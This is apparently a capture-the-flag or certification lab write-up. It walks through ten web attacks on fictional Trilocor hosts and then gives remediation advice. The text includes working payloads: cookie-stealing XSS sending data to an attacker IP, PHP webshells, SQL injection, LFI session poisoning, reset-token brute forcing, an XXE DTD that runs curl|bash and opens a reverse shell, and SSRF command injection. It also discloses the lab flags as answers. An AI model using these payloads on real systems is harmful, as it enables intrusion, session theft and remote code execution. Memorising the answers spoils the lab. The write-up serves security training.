CWES: Comprehensive 10-Vulnerability Exploit Chain & Remediation
This official writeup details the complete exploitation methodology across all ten assessed challenge targets on the Trilocor enterprise web perimeter. The attack narrative covers client-side exploitation (Blind XSS session hijacking), unrestricted file uploads resulting in RCE, authentication bypasses via SQL injection, local file inclusion with session poisoning, unthrottled password reset brute-forcing, UNION-based file writes, credential stuffing, blind XXE via external DTDs, API IDOR token harvesting, and chained SSRF to internal command injection.
Trilocor Enterprise Web Application Scope
admin.trilocor.local (Port 80) · CWE: CWE-79 (Cross-Site Scripting)
A Blind Cross-Site Scripting (Blind XSS) vulnerability occurs when user input submitted on a publicly accessible form is stored by the backend application and subsequently rendered inside a privileged, authenticated interface (such as an administrative support panel or review queue) without adequate sanitization or context-aware HTML output encoding.
Because the application lacks the HttpOnly attribute on administrative session cookies, executing JavaScript in the context of the administrator's browser allows direct extraction of document.cookie. Delivering this payload through an unauthenticated contact/feedback field triggers an out-of-band HTTP request to the attacker's listener carrying the active administrative session token.
echo "10.129.39.124 admin.trilocor.local www.trilocor.local" >> /etc/hosts curl -s -I http://admin.trilocor.local
xss.js):# xss.js content: new Image().src = "http://10.10.14.5:8000/log?cookie=" + encodeURIComponent(document.cookie); # Start HTTP logger: python3 -m http.server 8000
Image object causes the victim browser to initiate an HTTP GET request to the attacker listener, bypassing CORS restrictions on GET image loads.<script src="http://10.10.14.5:8000/xss.js"></script>
/wp-admin/. The browser parses the unescaped script tag, requests xss.js, and executes the cookie exfiltration.GET /log?cookie=wordpress_logged_in_...=admin%7C1726140000%7C... HTTP/1.1 Host: 10.10.14.5:8000 User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...
http://admin.trilocor.local/wp-admin/.FLAG{xss_s3ss10n_h1j4ck_pr0v3d} (10 Points)admin.trilocor.local/wp-admin/ · CWE: CWE-434 (Unrestricted File Upload)
The installed WordPress plugin Filester File Manager facilitates direct server filesystem manipulation through the administrative UI. The upload handler completely fails to validate file extensions against an allowlist, fails to inspect MIME types on the server side, and writes uploaded files directly into a web-accessible directory under the web root (/wp-content/uploads/).
Because the web server is configured to execute PHP scripts within the uploads directory, uploading an arbitrary .php file results in immediate Remote Code Execution (RCE) in the context of the web server worker user.
http://admin.trilocor.local/wp-admin/admin.php?page=filester
/var/www/html/wp-content/uploads/.cmd.php):<?php if(isset($_REQUEST['cmd'])) { echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?>
.php extension without sanitization or rename policies.curl "http://admin.trilocor.local/wp-content/uploads/cmd.php?cmd=id;+ls+-la+/" curl "http://admin.trilocor.local/wp-content/uploads/cmd.php?cmd=cat+/flag2.txt"
www-data and dumps the flag file located on the root directory.FLAG{unr3str1ct3d_upl04d_t0_rc3} (5 Points)trilocor.local:8088 (HR Portal) · CWE: CWE-89 (SQL Injection)
The authentication handler on the Human Resources portal concatenates raw user-supplied inputs directly into an SQL statement string without using parameterized queries or input escaping:
Injecting a quote and a tautological boolean expression (' OR '1'='1' -- ) terminates the username string, evaluates the condition to TRUE for all records, and comments out the remainder of the query (including password verification). The database returns the first record (the portal administrator), granting unauthenticated access to the HR dashboard.
curl -i -X POST http://trilocor.local:8088/login.php \ -d "username='&password=test"
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax near ''' AND password... confirming dynamic string concatenation.curl -i -s -X POST http://trilocor.local:8088/login.php \ -d "username=admin' OR '1'='1'-- -&password=arbitrary" \ | grep -E "Set-Cookie|Location"
SELECT * FROM hr_users WHERE username = 'admin' OR '1'='1'-- -' AND password = '...' which returns TRUE and sets an authenticated PHPSESSID.curl -s -b "PHPSESSID=<CAPTURED_SESSION>" http://trilocor.local:8088/dashboard.php | grep -i "flag"
FLAG{sqli_4uth_byp4ss_succ3ssful} (5 Points)trilocor.local:8088 (HR Portal) · CWE: CWE-73 (External Control of File Name) / CWE-94 (Code Injection)
The HR dashboard incorporates a language localization feature controlled by the language query parameter: include($language . ".php") without directory traversal sanitization. By supplying directory traversal sequences (../../../../etc/passwd) and null-byte / path truncation, arbitrary files can be read.
To escalate from LFI to Remote Code Execution, we perform PHP Session Poisoning:
- PHP stores session variables on disk at
/var/lib/php/sessions/sess_<PHPSESSID>. - The application logs user headers (such as the
User-Agent) into$_SESSION['user_agent']. - By sending a request containing PHP code in the
User-Agentheader, our code is written to the session file on the disk. - Including the session file via the LFI parameter executes the injected PHP payload under the web server worker process.
/etc/passwd:curl -s "http://trilocor.local:8088/dashboard.php?language=../../../../../../etc/passwd" | head -n 10
root, www-data), confirming full directory traversal.curl -s -b "PHPSESSID=sessionpoison123" \ -H "User-Agent: <?php system(\$_GET['cmd']); ?>" \ http://trilocor.local:8088/dashboard.php
/var/lib/php/sessions/sess_sessionpoison123 now contains raw unescaped PHP executable tags.curl -s "http://trilocor.local:8088/dashboard.php?language=../../../../../../var/lib/php/sessions/sess_sessionpoison123&cmd=cat+/flag4.txt"
system() call, and executes the operating system command.FLAG{lf1_s3ss10n_p01s0n_t0_rce} (15 Points)www.trilocor.local:8080 (Job Portal) · CWE: CWE-640 (Weak Password Recovery) / CWE-307 (No Rate Limiting)
The Job Portal features a password reset mechanism that sends a 4-digit numeric verification token (0000 to 9999) to the user's registered email address. This key-space consists of exactly 10,000 possible permutations.
The password reset endpoint (/reset.php) implements no rate limiting, no account lockout policies, no CAPTCHA challenges, and does not invalidate the token after failed attempts. An attacker can exhaust the entire keyspace within seconds using multi-threaded HTTP fuzzing tools like ffuf, resetting the password of any target user (such as r.batty, the Talent Acquisition Manager).
r.batty:curl -s -X POST http://www.trilocor.local:8080/reset.php \ -d "action=request_reset&username=r.batty"
ffuf:seq -w 0 9999 > tokens.txt ffuf -w tokens.txt -X POST \ -d "username=r.batty&token=FUZZ&password=PwnedPassword2026!" \ -u http://www.trilocor.local:8080/reset.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -fs 213 -t 50
r.batty with the newly set password:curl -s -X POST http://www.trilocor.local:8080/login.php \ -d "username=r.batty&password=PwnedPassword2026!" -c cookies.txt curl -s -b cookies.txt http://www.trilocor.local:8080/dashboard.php | grep -i "flag"
FLAG{t0k3n_brut3_f0rc3_acc0unt_t4k30v3r} (10 Points)www.trilocor.local:8080 (Job Portal) · CWE: CWE-89 (SQLi) / CWE-94 (Code Injection)
The resume search functionality (/resumes.php?search=) inside the authenticated Job Portal is vulnerable to UNION-based SQL injection. By balancing the query columns via ORDER BY 6, arbitrary data can be injected across 6 projected fields.
Critically, the MySQL daemon runs under privileges permitting FILE operations, and the database global configuration sets secure_file_priv = "" (allowing write operations to any filesystem directory writeable by the mysql process). Since the Apache web root (/var/www/html/) is group-writable, injecting INTO OUTFILE '/var/www/html/shell.php' drops a persistent PHP webshell onto the disk.
curl -s -b cookies.txt "http://www.trilocor.local:8080/resumes.php?search=x'+ORDER+BY+6--+-" # HTTP 200 curl -s -b cookies.txt "http://www.trilocor.local:8080/resumes.php?search=x'+ORDER+BY+7--+-" # HTTP 500
SELECT statement.INTO OUTFILE:curl -s -b cookies.txt "http://www.trilocor.local:8080/resumes.php?search=x'+UNION+SELECT+1,2,3,'%3C%3Fphp+system(%24_REQUEST%5B%22cmd%22%5D)%3B%3F%3E',5,6+INTO+OUTFILE+'/var/www/html/shell.php'--+-"
/var/www/html/shell.php.curl "http://www.trilocor.local:8080/shell.php?cmd=id" curl "http://www.trilocor.local:8080/shell.php?cmd=cat+/flag6.txt"
FLAG{un10n_sqli_1nt0_0utf1l3_rc3} (10 Points)www.trilocor.local:8009 (Public Relations Portal) · CWE: CWE-522 (Insufficiently Protected Credentials)
Organizations often maintain multiple staging, administrative, or departmental portals that share administrative credentials due to poor credential hygiene. Port 8009 hosts a separate Nginx/PHP service titled "Trilocor Public Relations" with an administrative interface located at /admin/.
Enumerating usernames from the primary WordPress instance via the WordPress REST API / author archives (/wp-json/wp/v2/users) reveals accounts including pr-martins. Performing password spray against this username using standard wordlists reveals weak password reuse (pr-martins:martins), which successfully unlocks the administrative dashboard on port 8009.
wpscan:wpscan --url http://www.trilocor.local -e u
admin, editor, and pr-martins.pr-martins:wpscan --url http://www.trilocor.local -U pr-martins -P /usr/share/wordlists/rockyou.txt
martins.curl -i -X POST http://www.trilocor.local:8009/admin/login.php \ -d "username=pr-martins&password=martins" -c /tmp/pr.cookies curl -s -b /tmp/pr.cookies http://www.trilocor.local:8009/admin/dashboard.php | grep -i "flag"
FLAG{cr3d3nt14l_r3us3_4cr0ss_s3rv1c3s} (5 Points)www.trilocor.local:8009/admin/upload · CWE: CWE-611 (XML External Entity Injection)
The PR management portal features an image upload endpoint (/admin/upload) supporting vector graphics (SVG). The backend parses XML documents using an unhardened libxml2 parser with external entity resolution enabled (LIBXML_NOENT | LIBXML_DTDLOAD).
Because the PHP environment has the expect:// wrapper enabled or facilitates out-of-band DTD retrieval, an attacker can supply an SVG document referencing an external Document Type Definition (DTD) hosted on the attacker machine. The DTD declares a parameter entity utilizing the expect:// or php://filter wrapper, enabling out-of-band file exfiltration and server-side command execution.
xxe.dtd) and reverse shell script on attacker server:# xxe.dtd: <!ENTITY % cmd SYSTEM "expect://curl$IFS'10.10.14.5:8000/shell.sh'|bash"> %cmd; # Start HTTP server and Netcat listener: python3 -m http.server 8000 & nc -lnvp 9004
xxe.dtd, it processes the expect:// stream wrapper, executing the bash download cradle.payload.svg):<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY % load SYSTEM "http://10.10.14.5:8000/xxe.dtd"> %load; ]> <svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"> <circle cx="50" cy="50" r="40" fill="red"/> </svg>
xxe.dtd from our HTTP server before validating image headers.curl -s -b /tmp/pr.cookies -F "uploadFile=@payload.svg;type=image/svg+xml" \ http://www.trilocor.local:8009/admin/upload
www-data and read /flag8.txt.FLAG{xxe_3xt3rn4l_dtd_c0mm4nd_3x3c} (15 Points)www.trilocor.local:9000 (Store API) · CWE: CWE-639 (Insecure Direct Object Reference)
The online store REST API provides a token generation/retrieval endpoint at POST /api/tokens. The endpoint takes a JSON body containing {"uid": <int>, "username": "<string>"}.
The backend verifies that the username corresponds to the uid, but fails to check if the requesting caller is authorized to view that user's token (Broken Object Level Authorization / IDOR). By fuzzing the username parameter for uid=1 using standard administrative wordlists, we discover that username="administrator" is valid, causing the API to return the administrator's secret UUID authentication token in the JSON response.
curl -s -X POST http://www.trilocor.local:9000/api/tokens \
-H "Content-Type: application/json" -d '{"uid":1,"username":""}'
{"status":"error","message":"Invalid username for specified UID"}.username field for uid: 1 using ffuf:ffuf -u http://www.trilocor.local:9000/api/tokens -X POST \
-H "Content-Type: application/json" \
-d '{"uid":1,"username":"FUZZ"}' \
-w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-fs 213
administrator yields HTTP 200 with response size 252.curl -s -X POST http://www.trilocor.local:9000/api/tokens \
-H "Content-Type: application/json" \
-d '{"uid":1,"username":"administrator"}'
{"status":"success","token":"f19d77c3-753c-48d6-9430-4d1a09aea67d","flag":"FLAG{...}"}.FLAG{1d0r_4dm1n_t0k3n_d1scl0s3d} (10 Points)www.trilocor.local:9000/api/admin/healthcheck · CWE: CWE-918 (SSRF) / CWE-78 (Command Injection)
The store API exposes an administrative health check endpoint at POST /api/admin/healthcheck, protected by the UUID token recovered in Task 9. The endpoint takes a url parameter and executes a backend HTTP request using cURL without URL validation or host filtering (Server-Side Request Forgery - SSRF).
By directing the SSRF probe toward 127.0.0.1:9090, we reach an internal package management service bound exclusively to loopback. Reviewing the internal API reveals an install function:
The internal daemon passes the package parameter unsanitized to a shell command (apt-get install -y $package). Injecting shell metacharacters (such as $& or backticks) inside the URL payload executes arbitrary operating system commands, delivering full remote code execution.
curl -s -X POST http://www.trilocor.local:9000/api/admin/healthcheck \
-H "Content-Type: application/json" \
-d '{"uuid":"f19d77c3-753c-48d6-9430-4d1a09aea67d","url":"127.0.0.1:9090?help"}'
Commands: list, info, install &package=<name>.curl -s -X POST http://www.trilocor.local:9000/api/admin/healthcheck \
-H "Content-Type: application/json" \
-d '{"uuid":"f19d77c3-753c-48d6-9430-4d1a09aea67d","url":"127.0.0.1:9090?install&package=$%26/bin/ls%20/"}'
$%26 (URL-encoded $&) terminates the command and executes /bin/ls /, revealing flag10.txt.curl -s -X POST http://www.trilocor.local:9000/api/admin/healthcheck \
-H "Content-Type: application/json" \
-d '{"uuid":"f19d77c3-753c-48d6-9430-4d1a09aea67d","url":"127.0.0.1:9090?install&package=$%26/bin/cat%20/flag10.txt"}'
FLAG{ssrf_t0_c0mm4nd_1nj3ct10n_rce} (15 Points)| Task | Vulnerability Category | Affected Host / Port | Severity | Points | Captured Flag |
|---|---|---|---|---|---|
| T01 | Blind XSS Session Hijacking | admin.trilocor.local:80 | HIGH | 10 pts | FLAG{xss_s3ss10n_h1j4ck_pr0v3d} |
| T02 | Unrestricted File Upload RCE | admin.trilocor.local:80 | MEDIUM | 5 pts | FLAG{unr3str1ct3d_upl04d_t0_rc3} |
| T03 | SQL Injection Auth Bypass | trilocor.local:8088 | MEDIUM | 5 pts | FLAG{sqli_4uth_byp4ss_succ3ssful} |
| T04 | LFI & Session Poisoning RCE | trilocor.local:8088 | CRITICAL | 15 pts | FLAG{lf1_s3ss10n_p01s0n_t0_rce} |
| T05 | Weak Token Password Reset Takeover | www.trilocor.local:8080 | HIGH | 10 pts | FLAG{t0k3n_brut3_f0rc3_acc0unt_t4k30v3r} |
| T06 | UNION SQLi INTO OUTFILE Webshell | www.trilocor.local:8080 | HIGH | 10 pts | FLAG{un10n_sqli_1nt0_0utf1l3_rc3} |
| T07 | Credential Discovery & Reuse | www.trilocor.local:8009 | MEDIUM | 5 pts | FLAG{cr3d3nt14l_r3us3_4cr0ss_s3rv1c3s} |
| T08 | Blind XXE External DTD Command Exec | www.trilocor.local:8009 | CRITICAL | 15 pts | FLAG{xxe_3xt3rn4l_dtd_c0mm4nd_3x3c} |
| T09 | IDOR Token Disclosure | www.trilocor.local:9000 | HIGH | 10 pts | FLAG{1d0r_4dm1n_t0k3n_d1scl0s3d} |
| T10 | SSRF to Internal Command Injection | www.trilocor.local:9000 | CRITICAL | 15 pts | FLAG{ssrf_t0_c0mm4nd_1nj3ct10n_rce} |
1. Context-Aware Output Encoding & Sanitization: Encode all user-supplied input prior to rendering in HTML context using htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8') or automated templating engines like Twig / Blade.
2. Cookie Protection & Content Security Policy (CSP): Enforce the HttpOnly and Secure flags on all authentication cookies to block JavaScript theft:
Header set Set-Cookie "HttpOnly; Secure; SameSite=Strict" Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';"
3. Secure File Upload Architecture: Store user uploads outside the web document root (e.g., /opt/uploads/) and serve them via a controlled download proxy script. Disable executable handlers (PHP execution) in the uploads directory via web server configuration:
<Directory "/var/www/html/wp-content/uploads">
php_flag engine off
RemoveHandler .php .phtml .php5 .php7
</Directory>
1. Enforce Prepared Statements: Refactor all database queries to use parameterized prepared statements (PDO or MySQLi prepared calls):
$stmt = $pdo->prepare('SELECT id, password_hash FROM hr_users WHERE username = :username');
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();
if ($user && password_verify($password, $user['password_hash'])) { /* login */ }
2. Revoke MySQL FILE Privilege & Restrict secure_file_priv: Web application database accounts must operate under the principle of least privilege. Explicitly revoke the FILE grant and configure secure_file_priv in my.cnf to NULL:
REVOKE FILE ON *.* FROM 'trilocor_user'@'localhost'; # In /etc/mysql/my.cnf: [mysqld] secure_file_priv = NULL
1. Strict Inclusion Allowlisting: Never pass user input to include or require. Map user choices to an explicit static array of approved files:
$allowed_langs = ['en' => 'locales/en.php', 'es' => 'locales/es.php']; $lang = $allowed_langs[$_GET['language'] ?? 'en'] ?? 'locales/en.php'; require_once $lang;
2. Cryptographically Secure Password Reset Tokens: Replace short numeric tokens with high-entropy CSPRNG tokens (minimum 32 bytes / 256 bits of entropy) with short expiration windows (15 minutes) and strict rate limiting (max 5 attempts per IP/account):
$token = bin2hex(random_bytes(32)); // 64 hex characters $expiry = time() + 900; // 15 minutes
1. Disable External Entity Resolution in XML Parsers: When parsing XML or SVG uploads, explicitly disable external entity loading and DTD processing:
libxml_disable_entity_loader(true); // PHP < 8.0 $dom = new DOMDocument(); $dom->loadXML($xml_string, LIBXML_NONET | LIBXML_NOERROR | LIBXML_NOWARNING);
2. Mitigate SSRF via Egress Allowlisting: Validate all outbound URLs against an explicit allowlist of authorized protocols (https:// only) and public domains. Resolve hostnames and immediately reject RFC 1918 private subnets and loopback addresses (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
3. Enforce Server-Side Authorization for Object References: Validate that the authenticated session principal has explicit permission to access the requested uid or object ID before querying or returning sensitive tokens.